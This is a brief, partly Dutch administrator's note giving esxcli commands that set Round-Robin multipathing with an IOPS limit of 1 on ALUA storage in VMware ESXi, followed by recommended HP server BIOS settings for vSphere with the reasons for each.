IOP’s aanpassingen Alua Aware storage

Alle LUN’s standaard op Round-Robin zetten:

esxcli storage nmp satp set --default-psp VMW_PSP_RR --satp VMW_SATP_ALUA

Op alle LUN’s welke op Round-Robin staan de IOP’s op 1 zetten:

for i in `esxcli storage nmp device list | grep naa.600` ; 
do esxcli storage nmp psp roundrobin deviceconfig set -t iops -I 1 -d $i; done

Recommended BIOS Settings on HP

HP Power Profile Custom Allows to enable custom Power settings specific for vSphere
HP Power Regulator OS Control Mode Hands over the Power Management to vSphere. The other options give this control to the server itself.
Redundant Power Supply Mode High Efficiency Mode (Auto) By default (Balanced Mode), the server uses all installed PSU’s. This might look like the most efficient use, but the more power is drawn from a PSU, the more efficient it operates. The less power you draw from a PSU, the more gets lost to keep the PSU working. Thus, it is best to use the minimum amount of PSU’s so they deliver the highest possible output. The remaining PSU’s are placed in standby. This settings does not affect redundancy as the standby PSU’s jump in as soon as an active one fails. By using the ‘Auto’ mode, the active PSU’s are chosen based on the server’s serial number (odd or even number = odd or even PSU numbers). This makes sure that all power circuits in the racks are evenly used.
Minimum Processor Idle Power State C3 State Needed for vSphere Dynamic Voltage and Frequency Scaling (DVFS). Allows vSphere to halt unneeded cores.
DIMM Idle Power Saving Mode Enabled DIMMs can put themselves into Low Power mode when not used. This will save some power if not all memory is used on the host.
ASR Status Disabled ASR monitors an agent running in the Service Console. When this does not respond within 10 minutes, the host is rebooted. However, if the agent fails or the Service Console becomes sluggish (even though the VM’s are perfectly fine), ASR will detect this as a system hang and will reboot the server. Furthermore, in case of a PSOD, ASR will reboot the server as well. This reboot might cause a loss of some logfiles.
Automatic Power-On Disabled If set to enabled, the server will power-on as soon as AC Power is available. When set to disabled, power is restored to its previous state when AC Power is available.
Virtual Install Disk Disabled This Virtual Install Disk only contains drivers for Microsoft Windows Operating system.
